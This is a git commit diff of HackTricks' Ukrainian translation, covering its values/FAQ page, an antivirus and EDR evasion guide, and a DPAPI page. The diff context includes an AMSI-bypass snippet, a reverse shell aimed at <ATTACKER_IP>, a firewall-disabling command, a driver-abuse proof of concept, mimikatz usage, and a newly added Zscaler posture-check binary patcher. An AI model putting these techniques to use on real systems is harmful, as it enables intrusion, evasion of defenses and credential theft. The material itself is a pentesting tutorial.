Translated ['src/welcome/hacktricks-values-and-faq.md', 'src/windows-har

This commit is contained in:
Translator 2025-08-13 14:22:21 +00:00
parent 495761b62a
commit 7bb40c49b0
3 changed files with 133 additions and 57 deletions

View File

@ -8,7 +8,7 @@
> Це **цінності проекту HackTricks**:
>
> - Надати **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ хакерських** ресурсів **ВСІМ** в Інтернеті.
> - Хакерство - це про навчання, а навчання повинно бути якомога більш безкоштовним.
> - Хакінг - це про навчання, і навчання повинно бути якомога більш безкоштовним.
> - Мета цієї книги - слугувати всебічним **освітнім ресурсом**.
> - **ЗБЕРІГАТИ** чудові **хакерські** техніки, які публікує спільнота, надаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** всі **кредити**.
> - **Ми не хочемо кредиту від інших людей**, ми просто хочемо зберігати класні трюки для всіх.
@ -42,7 +42,7 @@
> [!TIP]
>
> - **Чи можу я скопіювати деякий контент з HackTricks і розмістити його в своєму блозі?**
> - **Чи можу я скопіювати деякий контент з HackTricks і помістити його в свій блог?**
Так, ви можете, але **не забудьте згадати конкретне посилання(я),** звідки був взятий контент.
@ -50,7 +50,7 @@
>
> - **Як я можу цитувати сторінку HackTricks?**
Досить, щоб з'явилося посилання **на** сторінки, звідки ви взяли інформацію.\
Досить, щоб з'явилося посилання **на** сторінку(і), звідки ви взяли інформацію.\
Якщо вам потрібен bibtex, ви можете використовувати щось на зразок:
```latex
@misc{hacktricks-bibtexing,
@ -72,7 +72,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Чому у вас є спонсори? Чи є книги HackTricks комерційними?**
Перша **цінність HackTricks** полягає в тому, щоб запропонувати **БЕЗКОШТОВНІ** освітні ресурси з хакінгу **ВСІМ** у світі. Команда HackTricks **присвятила тисячі годин** для надання цього контенту, знову ж таки, **БЕЗКОШТОВНО**.
Перша **цінність HackTricks** полягає в тому, щоб пропонувати **БЕЗКОШТОВНІ** освітні ресурси з хакінгу **ВСІМ** у світі. Команда HackTricks **присвятила тисячі годин** для надання цього контенту, знову ж таки, **БЕЗКОШТОВНО**.
Якщо ви вважаєте, що книги HackTricks створені для **комерційних цілей**, ви **ЦІЛКОМ ПОМИЛЯЄТЕСЬ**.
@ -92,7 +92,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
- Покращує ваш **SEO**
- Покращує ваше **SEO**
- Контент **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього контенту
- **HackTricks заохочує** людей **перевіряти вашу сторінку** (декілька людей згадували нам, що з тих пір, як деяка їхня сторінка є в HackTricks, вони отримують більше відвідувань)
@ -117,7 +117,7 @@ Copyright © Усі права захищені, якщо не вказано і
#### Додаткові умови:
- Third-Party Content: Деякі частини цього блогу/книги можуть містити контент з інших джерел, таких як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін.
- Authorship: Оригінальний контент, створений HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати авторство цієї роботи при її поширенні або адаптації.
- Authorship: Оригінальний контент, автором якого є HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати цю роботу автору при її поширенні або адаптації.
#### Винятки:
@ -125,16 +125,16 @@ Copyright © Усі права захищені, якщо не вказано і
Ця ліцензія не надає жодних прав на товарні знаки або брендинг у відношенні до контенту. Усі товарні знаки та брендинг, представлені в цьому блозі/книзі, є власністю відповідних власників.
**Відкриваючи або використовуючи HackTricks, ви погоджуєтеся дотримуватися умов цієї ліцензії. Якщо ви не погоджуєтеся з цими умовами, будь ласка, не відкривайте цей веб-сайт.**
**Використовуючи HackTricks, ви погоджуєтеся дотримуватися умов цієї ліцензії. Якщо ви не погоджуєтеся з цими умовами, будь ласка, не заходьте на цей веб-сайт.**
## **Відмова від відповідальності**
> [!CAUTION]
> Ця книга, 'HackTricks', призначена лише для освітніх та інформаційних цілей. Контент у цій книзі надається на основі 'як є', і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних або неявних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або супутніх графіків, що містяться в цій книзі. Будь-яка залежність, яку ви покладете на таку інформацію, є строго на ваш власний ризик.
> Ця книга, 'HackTricks', призначена лише для освітніх та інформаційних цілей. Контент у цій книзі надається на основі 'як є', і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних або неявних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або супутніх графіків, що містяться в цій книзі. Будь-яка залежність, яку ви покладаєте на таку інформацію, є строго на ваш власний ризик.
>
> Автори та видавці не несуть жодної відповідальності за будь-які втрати або збитки, включаючи, без обмежень, непрямі або наслідкові втрати або збитки, або будь-які втрати або збитки, що виникають внаслідок втрати даних або прибутків, що виникають з, або у зв'язку з використанням цієї книги.
>
> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодну незаконну або неетичну діяльність, і будь-яке використання інформації, що міститься в цій книзі, є на ваш власний ризик і на ваш розсуд.
> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодну незаконну або неетичну діяльність, і будь-яке використання інформації, що міститься в цій книзі, є на ризик і розсуд користувача.
>
> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди повинен звертатися за професійною порадою та допомогою, намагаючись реалізувати будь-які з технік або порад, описаних тут.
>

View File

@ -7,7 +7,7 @@
## Stop Defender
- [defendnot](https://github.com/es3n1n/defendnot): Інструмент для зупинки роботи Windows Defender.
- [no-defender](https://github.com/es3n1n/no-defender): Інструмент для зупинки роботи Windows Defender, який імітує інший AV.
- [no-defender](https://github.com/es3n1n/no-defender): Інструмент для зупинки роботи Windows Defender, підробляючи інший AV.
- [Вимкніть Defender, якщо ви адміністратор](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
@ -31,17 +31,17 @@
Якщо ви розробите свої власні інструменти, не буде відомих шкідливих підписів, але це вимагає багато часу та зусиль.
> [!TIP]
> Хороший спосіб перевірити статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно вказати, які рядки або байти були позначені у вашому бінарному файлі.
> Хороший спосіб перевірити статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно сказати вам, які рядки або байти були позначені у вашому бінарному файлі.
Я настійно рекомендую вам ознайомитися з цим [YouTube плейлистом](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) про практичне обходження AV.
### **Dynamic analysis**
Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагається розшифрувати та прочитати паролі вашого браузера, виконує мінідамп на LSASS тощо). Цю частину може бути трохи складніше обробляти, але ось кілька речей, які ви можете зробити, щоб уникнути пісочниць.
Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагаючись розшифрувати та прочитати паролі вашого браузера, виконуючи мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб обійти пісочниці.
- **Sleep before execution** Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз AV. AV мають дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих затримок може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць AV можуть просто пропустити затримку, залежно від того, як це реалізовано.
- **Checking machine's resources** Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2 ГБ ОП), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
- **Machine-specific checks** Якщо ви хочете націлитися на користувача, чий робочий стіл приєднано до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити вашу програму вийти.
- **Checking machine's resources** Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2GB RAM), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
- **Machine-specific checks** Якщо ви хочете націлитися на користувача, чий робочий стіл приєднаний до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити вашу програму вийти.
Виявляється, що ім'я комп'ютера пісочниці Microsoft Defender - HAL9TH, тому ви можете перевірити ім'я комп'ютера у вашому шкідливому ПЗ перед детонацією, якщо ім'я збігається з HAL9TH, це означає, що ви всередині пісочниці Defender, тому ви можете змусити вашу програму вийти.
@ -55,7 +55,7 @@
Наприклад, якщо ви хочете скинути LSASS, **чи дійсно вам потрібно використовувати mimikatz**? Чи можете ви використовувати інший проект, який менш відомий і також скидає LSASS.
Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, ймовірно, один з, якщо не найбільш позначених шкідливих програм AV та EDR, хоча сам проект дуже класний, з ним також важко працювати, щоб обійти AV, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.
Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, ймовірно, один з, якщо не найбільш позначених шкідливих програм AV та EDR, хоча сам проект супер класний, з ним також важко працювати, щоб обійти AV, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.
> [!TIP]
> Коли ви модифікуєте свої корисні навантаження для обходу, переконайтеся, що ви **вимкнули автоматичну подачу зразків** у Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета - досягти обходу в довгостроковій перспективі. Якщо ви хочете перевірити, чи ваше корисне навантаження виявляється певним AV, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом.
@ -64,11 +64,11 @@
Коли це можливо, завжди **надавайте перевагу використанню DLL для обходу**, на мій погляд, файли DLL зазвичай **значно менше виявляються** та аналізуються, тому це дуже простий трюк, щоб уникнути виявлення в деяких випадках (якщо ваше корисне навантаження має якийсь спосіб виконання як DLL, звичайно).
Як ми можемо бачити на цьому зображенні, корисне навантаження DLL з Havoc має рівень виявлення 4/26 на antiscan.me, тоді як корисне навантаження EXE має рівень виявлення 7/26.
Як ми можемо бачити на цьому зображенні, корисне навантаження DLL від Havoc має рівень виявлення 4/26 на antiscan.me, тоді як корисне навантаження EXE має рівень виявлення 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>порівняння antiscan.me звичайного корисного навантаження Havoc EXE та звичайного Havoc DLL</p></figcaption></figure>
Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато більш непомітними.
Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато непомітнішими.
## DLL Sideloading & Proxying
@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Інтерфейс сканування антивірусного програмного забезпечення)
AMSI був створений для запобігання "[безфайловим шкідливим програмам](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки у нього не було достатньої видимості.
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
Функція AMSI інтегрована в ці компоненти Windows.
@ -157,7 +157,7 @@ AMSI був створений для запобігання "[безфайло
- **Обфускація**
Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнення виявлення.
Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнути виявлення.
Однак AMSI має можливість розобфускувати скрипти, навіть якщо у них є кілька шарів, тому обфускація може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.
@ -187,11 +187,11 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Зверніть увагу, що це, ймовірно, буде позначено, коли цей пост вийде, тому не публікуйте жодного коду, якщо ваш план полягає в тому, щоб залишитися непоміченим.
Зверніть увагу, що це, ймовірно, буде позначено, як тільки цей пост вийде, тому вам не слід публікувати жоден код, якщо ваш план полягає в тому, щоб залишитися непоміченим.
**Memory Patching**
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/_RastaMouse/), і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код E_INVALIDARG, таким чином результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/_RastaMouse/), і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код для E_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
> [!TIP]
> Будь ласка, прочитайте [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) для більш детального пояснення.
@ -202,7 +202,7 @@ $Spotfix.SetValue($null,$true)
**Remove the detected signature**
Ви можете використовувати інструмент, такий як **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** та **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, щоб видалити виявлений підпис AMSI з пам'яті поточного процесу. Цей інструмент працює, скануючи пам'ять поточного процесу на наявність підпису AMSI, а потім переписує його інструкціями NOP, ефективно видаляючи його з пам'яті.
Ви можете використовувати інструмент, такий як **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** та **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, щоб видалити виявлений підпис AMSI з пам'яті поточного процесу. Цей інструмент працює, скануючи пам'ять поточного процесу на наявність підпису AMSI, а потім переписуючи його інструкціями NOP, ефективно видаляючи його з пам'яті.
**AV/EDR products that uses AMSI**
@ -232,10 +232,10 @@ PowerShell logging - це функція, яка дозволяє вам реє
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Це чудовий відкритий обфускатор для .NET додатків. Він надає різні техніки захисту, такі як обфускація контролю потоку, анти-налагодження, анти-спотворення та шифрування рядків. Рекомендується, оскільки він дозволяє навіть обфускувати конкретні частини коду.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# обфускатор**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Мета цього проекту - надати відкритий форк компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та захист від спотворення.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації обфускованого коду під час компіляції без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого форка компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та захист від спотворення.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
- [**obfy**](https://github.com/fritzone/obfy): Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор бінарних файлів x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор бінарних файлів x64, який здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame - це простий метаморфний кодовий двигун для довільних виконуваних файлів.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблерного коду, перетворюючи звичайні інструкції на ROP-ланцюги, що заважає нашому природному сприйняттю нормального контролю потоку.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt - це .NET PE Crypter, написаний на Nim.
@ -258,7 +258,7 @@ SmartScreen в основному працює на основі репутац
> [!TIP]
> Важливо зазначити, що виконувані файли, підписані **достовірним** сертифікатом підпису, **не викликають SmartScreen**.
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упаковка їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) **не може** бути застосований до **не NTFS** томів.
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упаковка їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) **не може** бути застосовано до **не NTFS** томів.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
@ -308,7 +308,7 @@ Event Tracing for Windows (ETW) — це потужний механізм ве
- **Fork\&Run**
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а потім завершення нового процесу. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність**, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а потім, після завершення, завершення нового процесу. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність**, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
@ -327,13 +327,13 @@ Event Tracing for Windows (ETW) — це потужний механізм ве
Як запропоновано в [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), можливо виконувати шкідливий код, використовуючи інші мови, надаючи скомпрометованій машині доступ **до середовища інтерпретатора, встановленого на SMB-ресурсі, контрольованому зловмисником**.
Дозволяючи доступ до бінарних файлів інтерпретатора та середовища на SMB-ресурсі, ви можете **виконувати довільний код на цих мовах у пам'яті** скомпрометованої машини.
Дозволяючи доступ до бінарних файлів інтерпретатора та середовища на SMB-ресурсі, ви можете **виконувати довільний код на цих мовах в пам'яті** скомпрометованої машини.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо **більшу гнучкість для обходу статичних підписів**. Тестування з випадковими не обфусцированими реверс-shell скриптами на цих мовах виявилося успішним.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо **більшу гнучкість для обходу статичних підписів**. Тестування з випадковими не обфусцированими реверс-шейл-скриптами на цих мовах виявилося успішним.
## TokenStomping
Token stomping — це техніка, яка дозволяє зловмиснику **маніпулювати токеном доступу або засобом безпеки, таким як EDR або AV**, дозволяючи зменшити його привілеї, щоб процес не зупинився, але не мав би дозволів на перевірку шкідливої діяльності.
Token stomping — це техніка, яка дозволяє зловмиснику **маніпулювати токеном доступу або засобом безпеки, таким як EDR або AV**, дозволяючи зменшити його привілеї, щоб процес не завершився, але не мав дозволів на перевірку шкідливої діяльності.
Щоб запобігти цьому, Windows може **заборонити зовнішнім процесам** отримувати дескриптори токенів безпеки.
@ -410,7 +410,7 @@ netsh advfirewall set allprofiles state off
**ПОПЕРЕДЖЕННЯ:** Щоб зберегти прихованість, ви не повинні робити кілька речей
- Не запускайте `winvnc`, якщо він вже працює, або ви викличете [вікно сповіщення](https://i.imgur.com/1SROTTl.png). перевірте, чи працює він за допомогою `tasklist | findstr winvnc`
- Не запускайте `winvnc` без `UltraVNC.ini` в тій же директорії, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
- Не запускайте `winvnc` без `UltraVNC.ini` в тому ж каталозі, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
- Не запускайте `winvnc -h` для отримання допомоги, або ви викличете [вікно сповіщення](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -439,7 +439,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Поточний захисник дуже швидко завершить процес.**
### Компіляція нашого власного реверс-шелу
### Компіляція власного реверс-шелу
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
@ -449,7 +449,7 @@ https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
Використовуйте це з:
Використовуйте його з:
```
back.exe <ATTACKER_IP> <PORT>
```
@ -609,7 +609,7 @@ sc start ServiceMouse
| `0x990000D0` | Видалити довільний файл на диску |
| `0x990001D0` | Вивантажити драйвер і видалити службу |
Мінімальний C доказ концепції:
Мінімальний C proof-of-concept:
```c
#include <windows.h>
@ -628,7 +628,47 @@ return 0;
• Моніторте створення нових *ядрових* служб і сповіщайте, коли драйвер завантажується з каталогу, доступного для запису з усього світу, або не присутній у списку дозволених.
• Слідкуйте за дескрипторами режиму користувача до користувацьких об'єктів пристроїв, за якими слідують підозрілі виклики `DeviceIoControl`.
### Обхід перевірок позиції клієнта Zscaler Client Connector через патчинг бінарних файлів на диску
**Client Connector** Zscaler застосовує правила позиції пристрою локально і покладається на Windows RPC для передачі результатів іншим компонентам. Два слабкі дизайнерські рішення роблять повний обхід можливим:
1. Оцінка позиції відбувається **повністю на стороні клієнта** (логічне значення надсилається на сервер).
2. Внутрішні кінцеві точки RPC лише перевіряють, що підключений виконуваний файл **підписаний Zscaler** (через `WinVerifyTrust`).
Шляхом **патчингу чотирьох підписаних бінарних файлів на диску** обидва механізми можуть бути нейтралізовані:
| Бінарний файл | Оригінальна логіка, що була патчена | Результат |
|---------------|--------------------------------------|-----------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Завжди повертає `1`, тому кожна перевірка є відповідною |
| `ZSAService.exe` | Непрямий виклик `WinVerifyTrust` | NOP-ed ⇒ будь-який (навіть непідписаний) процес може підключитися до RPC труб |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Замінено на `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Перевірки цілісності тунелю | Скорочено |
Мінімальний фрагмент патчера:
```python
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
with open("ZSATrayManager.exe", "r+b") as f:
data = f.read()
off = data.find(pattern)
if off == -1:
print("pattern not found")
else:
f.seek(off)
f.write(replacement)
```
Після заміни оригінальних файлів і перезапуску стеку сервісів:
* **Усі** перевірки позиції відображають **зелений/відповідний** статус.
* Непідписані або модифіковані бінарні файли можуть відкривати кінцеві точки RPC з іменованими трубами (наприклад, `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Скомпрометований хост отримує необмежений доступ до внутрішньої мережі, визначеної політиками Zscaler.
Цей випадок демонструє, як чисто клієнтські рішення щодо довіри та прості перевірки підписів можуть бути обійдені за допомогою кількох патчів байтів.
## Посилання
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
- [Check Point Research Before ToolShell: Exploring Storm-2603s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -10,9 +10,9 @@ API захисту даних (DPAPI) в основному використов
Найпоширеніший спосіб використання DPAPI - це через функції **`CryptProtectData` та `CryptUnprotectData`**, які дозволяють додаткам безпечно шифрувати та дешифрувати дані з сеансом процесу, який наразі увійшов в систему. Це означає, що зашифровані дані можуть бути дешифровані лише тим же користувачем або системою, які їх зашифрували.
Більше того, ці функції також приймають параметр **`entropy`**, який також буде використовуватися під час шифрування та дешифрування, тому, щоб дешифрувати щось, зашифроване з використанням цього параметра, ви повинні надати те ж значення ентропії, яке використовувалося під час шифрування.
Більше того, ці функції також приймають параметр **`entropy`**, який також буде використовуватися під час шифрування та дешифрування, тому, щоб дешифрувати щось, зашифроване з використанням цього параметра, ви повинні надати таке ж значення ентропії, яке використовувалося під час шифрування.
### Генерація ключів користувачів
### Генерація ключа користувача
DPAPI генерує унікальний ключ (називається **`pre-key`**) для кожного користувача на основі їхніх облікових даних. Цей ключ отримується з пароля користувача та інших факторів, а алгоритм залежить від типу користувача, але в кінцевому підсумку є SHA1. Наприклад, для доменних користувачів **він залежить від HTLM хешу користувача**.
@ -23,7 +23,7 @@ DPAPI генерує унікальний ключ (називається **`pr
Більше того, щоразу, коли користувач шифрує дані за допомогою DPAPI, генерується новий **майстер-ключ**. Цей майстер-ключ фактично використовується для шифрування даних. Кожен майстер-ключ надається з **GUID** (глобально унікальний ідентифікатор), який його ідентифікує.
Майстер-ключі зберігаються в каталозі **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, де `{SID}` - це ідентифікатор безпеки цього користувача. Майстер-ключ зберігається зашифрованим за допомогою **`pre-key`** користувача, а також за допомогою **доменного резервного ключа** для відновлення (так що той же ключ зберігається зашифрованим 2 рази 2 різними паролями).
Майстер-ключі зберігаються в каталозі **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, де `{SID}` - це ідентифікатор безпеки цього користувача. Майстер-ключ зберігається зашифрованим за допомогою **`pre-key`** користувача, а також за допомогою **доменного резервного ключа** для відновлення (так що той самий ключ зберігається зашифрованим 2 рази 2 різними паролями).
Зверніть увагу, що **доменний ключ, використаний для шифрування майстер-ключа, знаходиться на контролерах домену і ніколи не змінюється**, тому, якщо зловмисник має доступ до контролера домену, він може отримати доменний резервний ключ і дешифрувати майстер-ключі всіх користувачів у домені.
@ -41,26 +41,26 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
Це те, як виглядає кілька Master Keys користувача:
Це те, як виглядає кілька Майстер-ключів користувача:
![](<../../images/image (1121).png>)
### Генерація ключів машини/системи
### Генерація ключа машини/системи
Це ключ, який використовується для шифрування даних на машині. Він базується на **DPAPI_SYSTEM LSA secret**, який є спеціальним ключем, до якого може отримати доступ лише користувач SYSTEM. Цей ключ використовується для шифрування даних, які повинні бути доступні самій системі, таких як облікові дані на рівні машини або системні секрети.
Цей ключ використовується для шифрування даних на машині. Він базується на **DPAPI_SYSTEM LSA секреті**, який є спеціальним ключем, до якого може отримати доступ лише користувач SYSTEM. Цей ключ використовується для шифрування даних, які повинні бути доступні самій системі, таких як облікові дані на рівні машини або системні секрети.
Зверніть увагу, що ці ключі **не мають резервної копії домену**, тому вони доступні лише локально:
- **Mimikatz** може отримати доступ до нього, вивантажуючи LSA секрети за допомогою команди: `mimikatz lsadump::secrets`
- Секрет зберігається в реєстрі, тому адміністратор може **змінити DACL дозволи для доступу до нього**. Шлях до реєстру: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- Секрет зберігається в реєстрі, тому адміністратор може **змінити дозволи DACL для доступу до нього**. Шлях до реєстру: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Захищені дані за допомогою DPAPI
Серед особистих даних, захищених DPAPI, є:
- Облікові дані Windows
- Паролі та дані автозаповнення Internet Explorer і Google Chrome
- Паролі електронної пошти та внутрішніх FTP-акаунтів для таких програм, як Outlook і Windows Mail
